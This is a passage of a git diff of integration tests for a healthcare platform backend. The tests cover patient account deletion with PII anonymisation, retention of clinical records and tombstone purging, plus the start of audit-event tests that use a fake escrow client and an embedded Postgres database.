alice.profileId } })).not.toBeNull(); - expect(await snapshotRecords(alice.profileId)).toEqual(aliceRecords); - // Bob and live accounts: untouched. - expect(await snapshotAccount(bob)).toEqual(bobBefore); - expect(await prisma.user.count({ where: { deletedAt: null, role: 'patient' } })).toBeGreaterThanOrEqual(3); - - // Re-running purges nothing new; moving the clock past Dave's grace purges him. - expect(await patients.purgeDeletedPatientAccounts()).toEqual({ purged: 0, held: 1, failed: 0 }); - const later = new Date(Date.now() + 25 * 60 * 60 * 1000); - expect(await patients.purgeDeletedPatientAccounts(later)).toEqual({ purged: 1, held: 1, failed: 0 }); - expect(await prisma.user.findUnique({ where: { id: dave.userId } })).toBeNull(); - }); - - it('deletes exports at anonymisation, and holds a tombstone for referrals and access logs too', async () => { - expect(patients.listRetentionHolds().map((hold) => hold.name)).toEqual( - expect.arrayContaining(['appointments', 'payments', 'orders', 'referrals', 'access_logs']), - ); - // Alice's lab order alone is enough for the orders hold. - const ordersHold = patients.listRetentionHolds().find((hold) => hold.name === 'orders')!; - expect(await ordersHold.holds(alice.profileId)).toBe(true); - - // A fresh patient: erin's address is locked by the throttle test. - const frank = await signupPatient('frank'); - // An export (a derived copy, ADR 0010) goes with the anonymisation. - const exportRow = await prisma.patientExport.create({ - data: { patientProfileId: frank.profileId, chunks: { create: { attempt: 0, seq: 0, data: '{}' } } }, - }); - expect((await deleteAccount(frank, { password: PASSWORD })).status).toBe(204); - expect(await prisma.patientExport.count({ where: { patientProfileId: frank.profileId } })).toBe(0); - expect(await prisma.patientExportChunk.count({ where: { exportId: exportRow.id } })).toBe(0); - - // A referral (RESTRICT) and an access-log row (CASCADE) each keep the - // tombstone; the access log must not be erased by the purge. - const consultation = await prisma.consultation.findFirstOrThrow(); - const referral = await prisma.referral.create({ - data: { - patientProfileId: frank.profileId, - sourceConsultationId: consultation.id, - referringDoctorId: doctorProfileId, - targetDoctorId: doctorProfileId, - snapshotNotes: 'snapshot', - }, - }); - const accessLog = await prisma.accessLog.create({ - data: { patientProfileId: frank.profileId, entityType: 'PatientProfile', entityId: frank.profileId }, - }); - const later = new Date(Date.now() + 25 * 60 * 60 * 1000); - - expect((await patients.purgeDeletedPatientAccounts(later)).purged).toBe(0); - expect(await prisma.patientProfile.findUnique({ where: { id: frank.profileId } })).not.toBeNull(); - - await prisma.referral.delete({ where: { id: referral.id } }); - expect((await patients.purgeDeletedPatientAccounts(later)).purged).toBe(0); - expect(await prisma.accessLog.findUnique({ where: { id: accessLog.id } })).not.toBeNull(); - - // Once the access log's own retention prune has removed it, the tombstone goes. - await prisma.accessLog.delete({ where: { id: accessLog.id } }); - expect((await patients.purgeDeletedPatientAccounts(later)).purged).toBe(1); - expect(await prisma.user.findUnique({ where: { id: frank.userId } })).toBeNull(); - }); - - it('leaves unrelated patients completely unchanged', async () => { - const user = await prisma.user.findUniqueOrThrow({ where: { id: bob.userId } }); - expect(user).toMatchObject({ email: bob.email, phone: '+2348000000000', deletedAt: null }); - expect(user.emailVerifiedAt).not.toBeNull(); - const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { id: bob.profileId } }); - expect(profile).toMatchObject({ fullName: 'bob Fullname', anonymizedAt: null }); - expect((await request(app).post('/auth/login').send({ email: bob.email, password: PASSWORD })).status).toBe(200); - expect((await request(app).get('/appointments/mine').set('Authorization', `Bearer ${bob.token}`)).body).toHaveLength(1); - }); -}); +// Integration tests for account deletion with clinical-record retention +// (Phase 8, issue #41, docs/adr/0010), against a populated database: +// password re-confirmation, PII anonymised, login/refresh deactivated, the +// original address reusable, appointments + payments surviving byte-for-byte, +// the RESTRICT foreign keys, idempotency (repeat and concurrent), and the +// tombstone purge touching eligible rows only. Self-contained, same +// embedded-Postgres pattern as booking.test.mts. Own port (5453). +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it, onTestFinished } from 'vitest'; +import request from 'supertest'; +import bcrypt from 'bcryptjs'; +import EmbeddedPostgres from 'embedded-postgres'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5453; +const runId = Date.now(); +const PASSWORD = 'longenough123'; + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-deletion-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; + +type App = ReturnType; +type Prisma = typeof import('../../src/db/prisma-client.js').prisma; +type PatientsService = typeof import('../../src/modules/patients/services/index.js'); + +interface Patient { + email: string; + userId: string; + profileId: string; + token: string; + csrfToken: string; + refreshCookie: string; +} + +const emailedTokens = new Map(); + +describe('account deletion with clinical-record retention', () => { + let app: App; + let prisma: Prisma; + let patients: PatientsService; + let doctorToken: string; + let doctorProfileId: string; + let facilityId: string; + let alice: Patient; // has an appointment + payments + let bob: Patient; // unrelated, must be untouched + let carol: Patient; // no records, unverified + let dave: Patient; // no records, deleted recently + let erin: Patient; // used for the throttle test + + async function signup(role: 'patient' | 'doctor', label: string, verify = true) { + const email = `${label}-${runId}@example.com`; + const res = await request(app).post('/auth/signup').send({ role, email, password: PASSWORD, fullName: `${label} Fullname` }); + expect(res.status).toBe(200); + if (verify) { + const verified = await request(app).post('/auth/verify-email').send({ token: emailedTokens.get(email) }); + expect(verified.status).toBe(200); + } + const cookie = (res.headers['set-cookie'] as unknown as string[]).find((c) => c.startsWith('docforum_refresh='))!; + return { + email, + userId: res.body.user.id as string, + token: res.body.accessToken as string, + csrfToken: res.body.csrfToken as string, + refreshCookie: cookie.split(';')[0]!, + }; + } + + async function signupPatient(label: string, verify = true): Promise { + const user = await signup('patient', label, verify); + const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { userId: user.userId } }); + return { ...user, profileId: profile.id }; + } + + function deleteAccount(patient: Patient, body: object | undefined) { + const req = request(app).delete('/patients/me').set('Authorization', `Bearer ${patient.token}`); + return body === undefined ? req : req.send(body); + } + + async function snapshotRecords(profileId: string) { + return { + appointments: await prisma.appointment.findMany({ where: { patientProfileId: profileId }, orderBy: { id: 'asc' } }), + payments: await prisma.paymentIntent.findMany({ where: { patientProfileId: profileId }, orderBy: { id: 'asc' } }), + }; + } + + async function snapshotAccount(p: Patient) { + return { + user: await prisma.user.findUnique({ where: { id: p.userId } }), + profile: await prisma.patientProfile.findUnique({ where: { id: p.profileId } }), + ...(await snapshotRecords(p.profileId)), + }; + } + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + process.env.DATABASE_URL = databaseUrl; + process.env.ACCOUNT_PURGE_GRACE_HOURS = '24'; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + const authServices = await import('../../src/modules/auth/services/index.js'); + patients = await import('../../src/modules/patients/services/index.js'); + app = appModule.createApp(); + prisma = dbModule.prisma; + + authServices.setEmailSender(async (message) => { + const match = /[?&]token=([^&\s]+)/.exec(message.text); + if (match) emailedTokens.set(message.to, decodeURIComponent(match[1])); + }); + + const doctor = await signup('doctor', 'deletion-doctor'); + doctorToken = doctor.token; + doctorProfileId = (await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: doctor.userId } })).id; + + alice = await signupPatient('alice'); + bob = await signupPatient('bob'); + carol = await signupPatient('carol', false); + dave = await signupPatient('dave'); + erin = await signupPatient('erin'); + + // Populate the fields that must be anonymised, beyond what signup sets. + for (const p of [alice, bob]) { + await prisma.user.update({ where: { id: p.userId }, data: { phone: '+2348000000000' } }); + await prisma.patientProfile.update({ + where: { id: p.profileId }, + data: { dateOfBirth: new Date('1990-05-01') }, + }); + } + + // Real bookings through the API for Alice and Bob. + const tomorrow = new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString().slice(0, 10); + await request(app) + .post(`/availability/doctors/${doctorProfileId}/slots/generate`) + .set('Authorization', `Bearer ${doctorToken}`) + .send({ date: tomorrow, startHour: 9, endHour: 11, slotLengthMinutes: 30 }); + const slots = (await request(app).get(`/availability/doctors/${doctorProfileId}/slots`)).body as { id: string }[]; + for (const [i, p] of [alice, bob].entries()) { + const booked = await request(app) + .post('/appointments') + .set('Authorization', `Bearer ${p.token}`) + .send({ availabilitySlotId: slots[i]!.id }); + expect(booked.status).toBe(201); + } + + const facilityUser = await prisma.user.create({ data: { email: `lab-${runId}@example.com`, passwordHash: 'x', role: 'facility' } }); + facilityId = (await prisma.facilityProfile.create({ data: { userId: facilityUser.id, name: 'Lab', type: 'lab' } })).id; + for (const p of [alice, bob]) { + // Main replaced PaymentIntent's polymorphic `orderType`/`orderId` with + // real `Prescription`/`LabOrder` FKs under a "exactly one order" CHECK + // (issue #85), so build the chain consultation -> lab order -> intent + // on the appointment this test already booked (no extra appointments: + // the counts below are part of what is asserted). + const appointment = await prisma.appointment.findFirstOrThrow({ where: { patientProfileId: p.profileId } }); + const consultation = await prisma.consultation.create({ data: { appointmentId: appointment.id } }); + const labOrder = await prisma.labOrder.create({ + data: { + consultationId: consultation.id, + patientProfileId: p.profileId, + orderingDoctorId: doctorProfileId, + facilityProfileId: facilityId, + amountStroops: 1000n, + testType: 'Test panel', + }, + }); + await prisma.paymentIntent.create({ + data: { + labOrderId: labOrder.id, + patientProfileId: p.profileId, + facilityId, + amount: 1000n, + assetCode: 'XLM', + status: 'escrowed', + escrowId: 7n, + stellarTxHash: 'f'.repeat(64), + }, + }); + } + + // One failed login for Alice, so a throttle bucket keyed by her address exists. + const failed = await request(app).post('/auth/login').send({ email: alice.email, password: 'wrong-password' }); + expect(failed.status).toBe(401); + }, 180_000); + + afterAll(async () => { + const authServices = await import('../../src/modules/auth/services/index.js'); + authServices.resetEmailSender(); + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('rejects a missing or wrong password and non-patients, changing nothing', async () => { + const before = await snapshotAccount(alice); + expect((await deleteAccount(alice, undefined)).status).toBe(400); + expect((await deleteAccount(alice, { password: '' })).status).toBe(400); + const wrong = await deleteAccount(alice, { password: 'not-my-password' }); + expect(wrong.status).toBe(403); + expect(wrong.body).toEqual({ message: 'Password confirmation failed.', code: 'PASSWORD_CONFIRMATION_FAILED' }); + + const asDoctor = await request(app).delete('/patients/me').set('Authorization', `Bearer ${doctorToken}`).send({ password: PASSWORD }); + expect(asDoctor.status).toBe(403); + expect((await request(app).delete('/patients/me').send({ password: PASSWORD })).status).toBe(401); + + const after = await snapshotAccount(alice); + expect({ ...after, user: { ...after.user, updatedAt: null } }).toEqual({ ...before, user: { ...before.user, updatedAt: null } }); + }); + + it('counts wrong confirmations against the login throttle', async () => { + // Every request in this file comes from the same loopback IP, so the + // per-IP bucket is shared; isolate this test to the per-account bucket. + const clearIpBuckets = async () => { + await prisma.loginAttempt.deleteMany({ where: { scope: 'ip' } }); + }; + await clearIpBuckets(); + onTestFinished(clearIpBuckets); + const statuses: number[] = []; + for (let i = 0; i < 4; i += 1) statuses.push((await deleteAccount(erin, { password: 'guess' })).status); + expect(statuses.slice(0, 2)).toEqual([403, 403]); + const throttled = await deleteAccount(erin, { password: PASSWORD }); + expect(throttled.status).toBe(429); + expect(Number(throttled.headers['retry-after'])).toBeGreaterThan(0); + // Still not deleted. + expect((await prisma.user.findUniqueOrThrow({ where: { id: erin.userId } })).deletedAt).toBeNull(); + }); + + it('anonymises identity and keeps appointments and payments byte-for-byte', async () => { + const recordsBefore = await snapshotRecords(alice.profileId); + expect(recordsBefore.appointments).toHaveLength(1); + expect(recordsBefore.payments).toHaveLength(1); + const oldHash = (await prisma.user.findUniqueOrThrow({ where: { id: alice.userId } })).passwordHash; + expect(await prisma.emailVerificationToken.count({ where: { userId: alice.userId } })).toBeGreaterThan(0); + expect(await prisma.loginAttempt.count({ where: { scope: 'email', key: alice.email.toLowerCase() } })).toBe(1); + + const res = await deleteAccount(alice, { password: PASSWORD }); + expect(res.status).toBe(204); + + const user = await prisma.user.findUniqueOrThrow({ where: { id: alice.userId } }); + expect(user.email).toBe(`deleted+${alice.userId}@deleted.invalid`); + expect(user.phone).toBeNull(); + expect(user.emailVerifiedAt).toBeNull(); + expect(user.deletedAt).toBeInstanceOf(Date); + expect(user.passwordHash).not.toBe(oldHash); + expect(await bcrypt.compare(PASSWORD, user.passwordHash)).toBe(false); + + const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { id: alice.profileId } }); + expect(profile).toMatchObject({ fullName: 'Deleted patient', dateOfBirth: null }); + expect(profile.anonymizedAt?.getTime()).toBe(user.deletedAt!.getTime()); + + // No personal field survives anywhere on the two rows. + const rows = JSON.stringify({ user, profile }); + for (const pii of [alice.email, 'alice Fullname', '+2348000000000', '1990-05-01']) expect(rows).not.toContain(pii); + + expect(await prisma.emailVerificationToken.count({ where: { userId: alice.userId } })).toBe(0); + expect(await prisma.loginAttempt.count({ where: { scope: 'email', key: alice.email.toLowerCase() } })).toBe(0); + + // Clinical and payment records: identical, still linked to the profile. + expect(await snapshotRecords(alice.profileId)).toEqual(recordsBefore); + // The slot link is nullable since main made cancellations release it + // (Phase 3); this appointment was never cancelled, so it still points at one. + const slotId = recordsBefore.appointments[0]!.availabilitySlotId; + expect(slotId).not.toBeNull(); + const slot = await prisma.availabilitySlot.findUniqueOrThrow({ where: { id: slotId! } }); + expect(slot.status).toBe('booked'); + }); + + it('deactivates login, refresh and every patient route for the old session', async () => { + const login = await request(app).post('/auth/login').send({ email: alice.email, password: PASSWORD }); + expect(login.status).toBe(401); + const tombstoneLogin = await request(app) + .post('/auth/login') + .send({ email: `deleted+${alice.userId}@deleted.invalid`, password: PASSWORD }); + expect(tombstoneLogin.status).toBe(401); + + const refresh = await request(app) + .post('/auth/refresh') + .set('Cookie', alice.refreshCookie) + .set('X-CSRF-Token', alice.csrfToken); + expect(refresh.status).toBe(401); + + // The access token is a stateless JWT still inside its TTL (no revocation + // list yet, issue #18) β€” but nothing reachable with it. + const mine = await request(app).get('/appointments/mine').set('Authorization', `Bearer ${alice.token}`); + expect(mine.status).toBe(404); + const slots = (await request(app).get(`/availability/doctors/${doctorProfileId}/slots`)).body as { id: string }[]; + const book = await request(app) + .post('/appointments') + .set('Authorization', `Bearer ${alice.token}`) + .send({ availabilitySlotId: slots[0]!.id }); + expect(book.status).toBe(403); + expect(book.body.code).toBe('EMAIL_NOT_VERIFIED'); + }); + + it('frees the original address for a brand-new, empty signup', async () => { + const res = await request(app).post('/auth/signup').send({ role: 'patient', email: alice.email, password: 'another-password', fullName: 'New Alice' }); + expect(res.status).toBe(200); + expect(res.body.user.id).not.toBe(alice.userId); + const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { userId: res.body.user.id } }); + expect(profile.id).not.toBe(alice.profileId); + expect(await prisma.appointment.count({ where: { patientProfileId: profile.id } })).toBe(0); + // The new account can log in; the old one still can't be reached. + expect((await request(app).post('/auth/login').send({ email: alice.email, password: 'another-password' })).status).toBe(200); + }); + + it('is idempotent: a repeat deletion is a no-op, concurrent ones anonymise once', async () => { + const before = await snapshotAccount(alice); + for (const password of [PASSWORD, 'anything']) { + expect((await deleteAccount(alice, { password })).status).toBe(204); + } + expect(await snapshotAccount(alice)).toEqual(before); + + const [first, second] = await Promise.all([deleteAccount(dave, { password: PASSWORD }), deleteAccount(dave, { password: PASSWORD })]); + expect([first.status, second.status]).toEqual([204, 204]); + const user = await prisma.user.findUniqueOrThrow({ where: { id: dave.userId } }); + expect(user.deletedAt).not.toBeNull(); + expect(user.email).toBe(`deleted+${dave.userId}@deleted.invalid`); + }); + + it('lets an unverified account delete itself', async () => { + expect((await deleteAccount(carol, { password: PASSWORD })).status).toBe(204); + expect((await prisma.patientProfile.findUniqueOrThrow({ where: { id: carol.profileId } })).anonymizedAt).not.toBeNull(); + }); + + it('enforces RESTRICT: a deleted patient with records cannot be hard-deleted by accident', async () => { + // Each refusal is checked with the same classifier the purge uses as its + // race backstop, against the error Postgres actually raises. + const refusal = (promise: Promise) => + promise.then( + () => 'deleted', + (err) => (patients.isForeignKeyRefusal(err) ? 'refused' : `other: ${String(err)}`), + ); + expect(await refusal(prisma.user.delete({ where: { id: alice.userId } }))).toBe('refused'); + expect(await refusal(prisma.patientProfile.delete({ where: { id: alice.profileId } }))).toBe('refused'); + // Even a patient with no records: the User row can't go while its profile exists. + expect(await refusal(prisma.user.delete({ where: { id: carol.userId } }))).toBe('refused'); + // And the purge's own delete path is refused for a profile with records. + expect( + await refusal(prisma.$transaction((tx) => tx.patientProfile.deleteMany({ where: { id: alice.profileId } }))), + ).toBe('refused'); + expect(await prisma.user.count({ where: { id: { in: [alice.userId, carol.userId] } } })).toBe(2); + }); + + it('purges only record-free tombstones past the grace period, and is safe to re-run', async () => { + const bobBefore = await snapshotAccount(bob); + const aliceRecords = await snapshotRecords(alice.profileId); + // Carol deleted long ago; Dave just now (inside the grace period). + const longAgo = new Date(Date.now() - 48 * 60 * 60 * 1000); + await prisma.patientProfile.update({ where: { id: carol.profileId }, data: { anonymizedAt: longAgo } }); + await prisma.patientProfile.update({ where: { id: alice.profileId }, data: { anonymizedAt: longAgo } }); + + const result = await patients.purgeDeletedPatientAccounts(); + expect(result).toEqual({ purged: 1, held: 1, failed: 0 }); + + expect(await prisma.user.findUnique({ where: { id: carol.userId } })).toBeNull(); + expect(await prisma.patientProfile.findUnique({ where: { id: carol.profileId } })).toBeNull(); + // Dave: still inside the grace period. + expect(await prisma.patientProfile.findUnique({ where: { id: dave.profileId } })).not.toBeNull(); + // Alice: has records, kept with them. + expect(await prisma.patientProfile.findUnique({ where: { id: alice.profileId } })).not.toBeNull(); + expect(await snapshotRecords(alice.profileId)).toEqual(aliceRecords); + // Bob and live accounts: untouched. + expect(await snapshotAccount(bob)).toEqual(bobBefore); + expect(await prisma.user.count({ where: { deletedAt: null, role: 'patient' } })).toBeGreaterThanOrEqual(3); + + // Re-running purges nothing new; moving the clock past Dave's grace purges him. + expect(await patients.purgeDeletedPatientAccounts()).toEqual({ purged: 0, held: 1, failed: 0 }); + const later = new Date(Date.now() + 25 * 60 * 60 * 1000); + expect(await patients.purgeDeletedPatientAccounts(later)).toEqual({ purged: 1, held: 1, failed: 0 }); + expect(await prisma.user.findUnique({ where: { id: dave.userId } })).toBeNull(); + }); + + it('deletes exports at anonymisation, and holds a tombstone for referrals and access logs too', async () => { + expect(patients.listRetentionHolds().map((hold) => hold.name)).toEqual( + expect.arrayContaining(['appointments', 'payments', 'orders', 'referrals', 'access_logs']), + ); + // Alice's lab order alone is enough for the orders hold. + const ordersHold = patients.listRetentionHolds().find((hold) => hold.name === 'orders')!; + expect(await ordersHold.holds(alice.profileId)).toBe(true); + + // A fresh patient: erin's address is locked by the throttle test. + const frank = await signupPatient('frank'); + // An export (a derived copy, ADR 0010) goes with the anonymisation. + const exportRow = await prisma.patientExport.create({ + data: { patientProfileId: frank.profileId, chunks: { create: { attempt: 0, seq: 0, data: '{}' } } }, + }); + expect((await deleteAccount(frank, { password: PASSWORD })).status).toBe(204); + expect(await prisma.patientExport.count({ where: { patientProfileId: frank.profileId } })).toBe(0); + expect(await prisma.patientExportChunk.count({ where: { exportId: exportRow.id } })).toBe(0); + + // A referral (RESTRICT) and an access-log row (CASCADE) each keep the + // tombstone; the access log must not be erased by the purge. + const consultation = await prisma.consultation.findFirstOrThrow(); + const referral = await prisma.referral.create({ + data: { + patientProfileId: frank.profileId, + sourceConsultationId: consultation.id, + referringDoctorId: doctorProfileId, + targetDoctorId: doctorProfileId, + snapshotNotes: 'snapshot', + }, + }); + const accessLog = await prisma.accessLog.create({ + data: { patientProfileId: frank.profileId, entityType: 'PatientProfile', entityId: frank.profileId }, + }); + const later = new Date(Date.now() + 25 * 60 * 60 * 1000); + + expect((await patients.purgeDeletedPatientAccounts(later)).purged).toBe(0); + expect(await prisma.patientProfile.findUnique({ where: { id: frank.profileId } })).not.toBeNull(); + + await prisma.referral.delete({ where: { id: referral.id } }); + expect((await patients.purgeDeletedPatientAccounts(later)).purged).toBe(0); + expect(await prisma.accessLog.findUnique({ where: { id: accessLog.id } })).not.toBeNull(); + + // Once the access log's own retention prune has removed it, the tombstone goes. + await prisma.accessLog.delete({ where: { id: accessLog.id } }); + expect((await patients.purgeDeletedPatientAccounts(later)).purged).toBe(1); + expect(await prisma.user.findUnique({ where: { id: frank.userId } })).toBeNull(); + }); + + it('leaves unrelated patients completely unchanged', async () => { + const user = await prisma.user.findUniqueOrThrow({ where: { id: bob.userId } }); + expect(user).toMatchObject({ email: bob.email, phone: '+2348000000000', deletedAt: null }); + expect(user.emailVerifiedAt).not.toBeNull(); + const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { id: bob.profileId } }); + expect(profile).toMatchObject({ fullName: 'bob Fullname', anonymizedAt: null }); + expect((await request(app).post('/auth/login').send({ email: bob.email, password: PASSWORD })).status).toBe(200); + expect((await request(app).get('/appointments/mine').set('Authorization', `Bearer ${bob.token}`)).body).toHaveLength(1); + }); +}); diff --git a/backend/tests/integration/audit.test.mts b/backend/tests/integration/audit.test.mts index 004d3167..1fe0ec7a 100644 --- a/backend/tests/integration/audit.test.mts +++ b/backend/tests/integration/audit.test.mts @@ -1,511 +1,511 @@ -// Integration tests for the AuditEvent foundation (Phase 8, issue #43), -// against the real transitions β€” not the audit service in isolation: -// booking, doctor verification and payment fund/release/refund each emit an -// event with the right actor/entity/action/states/request id; the event -// commits with its change and rolls back with it (failure injected by a real -// database trigger, not a mock); a transition that fails or loses a race -// emits nothing; metadata carries no PHI or secrets; the table is -// append-only at the database level; and GET /admin/audit-events filters -// and pages deterministically. Self-contained, same embedded-Postgres -// pattern as booking.test.mts. Own port (5441). The escrow SDK is faked β€” -// on-chain behaviour is the testnet suite's job. -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import jwt from 'jsonwebtoken'; -import EmbeddedPostgres from 'embedded-postgres'; -import { createOrderFixture, createPaymentIntentForFixture } from './order-fixtures.mjs'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5441; -const runId = Date.now(); -const PAYER_SECRET = `SAUDITPAYERSENTINEL${runId}`; -const RELEASER_SECRET = `SAUDITRELEASERSENTINEL${runId}`; -const TX_HASH = 'c'.repeat(64); - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-audit-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; - -type App = ReturnType; -type Prisma = typeof import('../../src/db/prisma-client.js').prisma; - -const emailedTokens = new Map(); -const sdkBehaviour = { failRelease: false, nextEscrowId: 77n }; -let escrowClientContractIds: string[] = []; - -describe('AuditEvent foundation', () => { - let app: App; - let prisma: Prisma; - let audit: typeof import('../../src/modules/audit/services/index.js'); - let admin: { id: string; token: string }; - let doctor: { userId: string; profileId: string; token: string }; - let patients: { userId: string; token: string; email: string }[]; - let facilityId: string; - let slots: string[]; - - async function signup(role: 'patient' | 'doctor', label: string) { - const email = `${label}-${runId}@example.com`; - const res = await request(app).post('/auth/signup').send({ role, email, password: 'longenough123', fullName: `${label} Fullname` }); - expect(res.status).toBe(200); - expect((await request(app).post('/auth/verify-email').send({ token: emailedTokens.get(email) })).status).toBe(200); - return { userId: res.body.user.id as string, token: res.body.accessToken as string, email }; - } - - /** A real DB-level failure in the audit insert, scoped to one entity type: - * proves the state change rolls back with its event. */ - async function failAuditInsertsFor(entityType: string) { - await prisma.$executeRawUnsafe(` - CREATE OR REPLACE FUNCTION test_fail_audit_insert() RETURNS trigger LANGUAGE plpgsql AS $$ - BEGIN - IF NEW."entityType" = '${entityType}' THEN RAISE EXCEPTION 'injected audit failure'; END IF; - RETURN NEW; - END; $$`); - await prisma.$executeRawUnsafe( - `CREATE TRIGGER test_fail_audit_insert BEFORE INSERT ON "AuditEvent" FOR EACH ROW EXECUTE FUNCTION test_fail_audit_insert()`, - ); - return async () => { - await prisma.$executeRawUnsafe(`DROP TRIGGER test_fail_audit_insert ON "AuditEvent"`); - }; - } - - const adminAuth = () => ({ Authorization: `Bearer ${admin.token}` }); - const listEvents = (query: Record) => - request(app).get('/admin/audit-events').query(query).set(adminAuth()); - - async function createIntent() { - const patientProfileId = (await prisma.patientProfile.findFirstOrThrow()).id; - const order = await createOrderFixture(prisma, { patientProfileId, facilityProfileId: facilityId, kind: 'lab_order', amountStroops: 5000n, tag: `audit-${Math.random()}` }); - return createPaymentIntentForFixture(prisma, order); - } - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - process.env.DATABASE_URL = databaseUrl; - process.env.PLATFORM_PAYER_SECRET = PAYER_SECRET; - process.env.PLATFORM_RELEASER_SECRET = RELEASER_SECRET; - process.env.ESCROW_CONTRACT_ID = 'CTESTCONTRACT'; - process.env.ESCROW_LEGACY_CONTRACT_IDS = 'CLEGACYCONTRACT'; - process.env.ESCROW_TOKEN_ID = 'CTESTTOKEN'; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - const authServices = await import('../../src/modules/auth/services/index.js'); - const paymentsServices = await import('../../src/modules/payments/services/index.js'); - audit = await import('../../src/modules/audit/services/index.js'); - app = appModule.createApp(); - prisma = dbModule.prisma; - authServices.setEmailSender(async (message) => { - const match = /[?&]token=([^&\s]+)/.exec(message.text); - if (match) emailedTokens.set(message.to, decodeURIComponent(match[1])); - }); - - escrowClientContractIds = []; - class FakeEscrowClient { - constructor(options: { contractId: string }) { escrowClientContractIds.push(options.contractId); } - async createEscrow() { - const escrowId = sdkBehaviour.nextEscrowId; - sdkBehaviour.nextEscrowId += 1n; - return { escrowId, txHash: TX_HASH }; - } - async release() { - if (sdkBehaviour.failRelease) throw new Error('simulated on-chain failure'); - } - async refund() {} - } - paymentsServices.setEscrowSdkForTests({ - Keypair: { fromSecret: () => ({ publicKey: () => 'GPLATFORMRELEASERPUBLICKEY' }) }, - EscrowClient: FakeEscrowClient, - } as unknown as import('../../src/modules/payments/services/index.js').EscrowSdkModule); - - const adminUser = await prisma.user.create({ - data: { email: `admin-${runId}@example.com`, passwordHash: 'x', role: 'admin', emailVerifiedAt: new Date() }, - }); - admin = { id: adminUser.id, token: jwt.sign({ sub: adminUser.id, role: 'admin' }, 'test-access-secret', { expiresIn: '15m' }) }; - - const doctorUser = await signup('doctor', 'audit-doctor'); - doctor = { ...doctorUser, profileId: (await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: doctorUser.userId } })).id }; - patients = await Promise.all(Array.from({ length: 5 }, (_, i) => signup('patient', `audit-patient-${i}`))); - - const tomorrow = new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString().slice(0, 10); - await request(app) - .post(`/availability/doctors/${doctor.profileId}/slots/generate`) - .set('Authorization', `Bearer ${doctor.token}`) - .send({ date: tomorrow, startHour: 9, endHour: 12, slotLengthMinutes: 30 }); - slots = ((await request(app).get(`/availability/doctors/${doctor.profileId}/slots`)).body as { id: string }[]).map((s) => s.id); - - const facilityUser = await prisma.user.create({ data: { email: `lab-${runId}@example.com`, passwordHash: 'x', role: 'facility' } }); - facilityId = (await prisma.facilityProfile.create({ data: { userId: facilityUser.id, name: 'Audit Lab', type: 'lab' } })).id; - await prisma.walletLink.create({ data: { facilityId, stellarPublicKey: `G${'A'.repeat(55)}` } }); - }, 180_000); - - afterAll(async () => { - const authServices = await import('../../src/modules/auth/services/index.js'); - const paymentsServices = await import('../../src/modules/payments/services/index.js'); - authServices.resetEmailSender(); - paymentsServices.setEscrowSdkForTests(undefined); - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - describe('appointment booking', () => { - it('emits one event with actor, entity, states and the request id', async () => { - const before = new Date(); - const res = await request(app) - .post('/appointments') - .set('Authorization', `Bearer ${patients[0]!.token}`) - .set('X-Request-Id', `booking-req-${runId}`) - .send({ availabilitySlotId: slots[0] }); - expect(res.status).toBe(201); - expect(res.headers['x-request-id']).toBe(`booking-req-${runId}`); - - const events = await prisma.auditEvent.findMany({ where: { entityType: 'Appointment', entityId: res.body.id } }); - expect(events).toHaveLength(1); - const [event] = events; - expect(event).toMatchObject({ - actorUserId: patients[0]!.userId, - actorRole: 'patient', - action: 'appointment.booked', - fromState: null, - toState: 'scheduled', - requestId: `booking-req-${runId}`, - metadata: { availabilitySlotId: slots[0], doctorProfileId: doctor.profileId, origin: 'direct_booking' }, - }); - // The DB timestamp comes from the transaction; allow for clock skew - // between the test process and Postgres of a few seconds. - expect(Math.abs(event!.createdAt.getTime() - before.getTime())).toBeLessThan(5_000); - const serialized = JSON.stringify(event); - expect(serialized).not.toContain(patients[0]!.email); - expect(serialized).not.toContain('Fullname'); - }); - - it('mints a request id when none (or a malformed one) is sent', async () => { - const res = await request(app) - .post('/appointments') - .set('Authorization', `Bearer ${patients[1]!.token}`) - .set('X-Request-Id', 'bad id!') - .send({ availabilitySlotId: slots[1] }); - expect(res.status).toBe(201); - const event = 